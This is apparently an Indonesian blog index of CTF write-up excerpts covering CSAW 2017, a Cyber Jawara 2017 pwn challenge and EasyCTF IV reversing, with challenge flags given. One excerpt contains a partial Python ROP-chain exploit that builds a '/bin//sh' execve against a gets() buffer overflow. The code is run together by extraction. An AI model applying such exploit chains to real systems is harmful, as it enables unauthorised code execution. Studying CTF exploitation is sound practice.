CSAW CTF 2017 Prelims Write Up

Didapatkan Locationmerupakan alamat stack dimana inputan penggunana akan disimpan dan dibutuhkan 40 bytes untuk meng overwriteregister RIP. Berikut exploit code yang digunakan Exploit code dijalankan. Flag : flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}Stage 1 : meminta input nomor kartu kredit {Visa|Discover|American Express|MasterCard} Stage 2 : meminta input nomor kartu kredit dengan 4 digit prefix Stage 3 : meminta input nomor kartu kredit dengan 1 digit suffix Stage 4 : meminta input nomor kartu kredit dengan 4 digit suffix
Read more →

Cyber Jawara 2017 - Write Up

Read more →

Cyber Jawara 2017 Final - echo (pwn 200)

Diberikan sebuah file elf binary 64 bit dengan nama echo Dengan proteksi sebagai berikut Berikut adalah hasil decompile menggunakan IDA pro Dari hasil decompile IDA pro dipastikan binary tersebut vulnerable terhadap Buffer Overflow karena menggunakan fungsi “gets()” yang tidak memfilter panjang inputan. Dengan asumsi bahwa ASLR pada mesin dalam keadaan ON dan binary tersebut di proteksi dengan NX bit yang tidak memungkinkan untuk eksekusi shellcode, sehingga teknik yang digunakan adalah ROP ( Return Oriented Programming).
Read more →

Cyber Jawara 2017 Final - echo (pwn 200)

fromstruct importpack

Padding goes herep ='A’*10008p +=pack(’<Q’, 0x0000000000401817) # pop rsi ; retp +=pack(’<Q’, 0x00000000006cb080) # @ .datap +=pack(’<Q’, 0x0000000000479ce6) # pop rax ; pop rdx ; pop rbx ; retp +=’/bin//sh’p +=pack(’<Q’, 0x4141414141414141) # paddingp +=pack(’<Q’, 0x4141414141414141) # paddingp +=pack(’<Q’, 0x00000000004755c1) # mov qword ptr [rsi], rax ; retp +=pack(’<Q’, 0x0000000000401817) # pop rsi ; retp +=pack(’<Q’, 0x00000000006cb088) # @ .data + 8p +=pack(’<Q’, 0x000000000042695f) # xor rax, rax ; retp +=pack(’<Q’, 0x00000000004755c1) # mov qword ptr [rsi], rax ; retp +=pack(’<Q’, 0x00000000004005d5) # pop rdi ; retp +=pack(’<Q’, 0x00000000006cb080) # @ .

Read more →

EasyCTF IV 2018 - Reversing

Liar Diberikan sebuah file binary 64-bit not stripped Hasil decompile fungsi main() int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax@12 __int64 v4; // rdi@12 int n; // [sp+Ch] [bp-14h]@1 int i; // [sp+10h] [bp-10h]@1 int m; // [sp+14h] [bp-Ch]@1 __int64 v8; // [sp+18h] [bp-8h]@1 v8 = *MK_FP(FS, 40LL); __isoc99_scanf(&unk_A64, &n, envp); f[30] = 160LL; f[10] = 47LL; f[13] = 4LL; f[25] = 205LL; f[5] = 87LL; f[24] = 247LL; f[6] = 76LL; f[31] = 176LL; f[7] = 74LL; f[34] = 154LL; f[21] = 231LL; f[32] = 135LL; f[8] = 75LL; f[1] = 102LL; f[9] = 75LL; f[28] = 232LL; f[29] = 148LL; f[3] = 108LL; f[11] = 33LL; f[4] = 127LL; f[14] = 21LL; f[18] = 89LL; f[16] = 3LL; f[26] = 215LL; f[20] = 211LL; f[15] = 8LL; f[17] = 25LL; f[27] = 217LL; f[0] = 101LL; f[33] = 143LL; f[22] = 245LL; f[19] = 241LL; f[12] = 56LL; f[36] = 129LL; f[23] = 206LL; f[2] = 125LL; f[35] = 202LL; m = n ^ 0x58EB29; for ( i = 0; i <= 36; ++i ) g[i] = m * i ^ (unsigned __int64)f[i]; g[i] = 0; if ( g[0] == 101 && g[1] == 97 && g[2] == 115 && g[3] == 121 && g[4] == 99 && g[5] == 116 && g[6] == 102 ) printf("the flag is %s\n", g); result = 0; v4 = *MK_FP(FS, 40LL) ^ v8; return result; } Dimana pada potongan code berikut
Read more →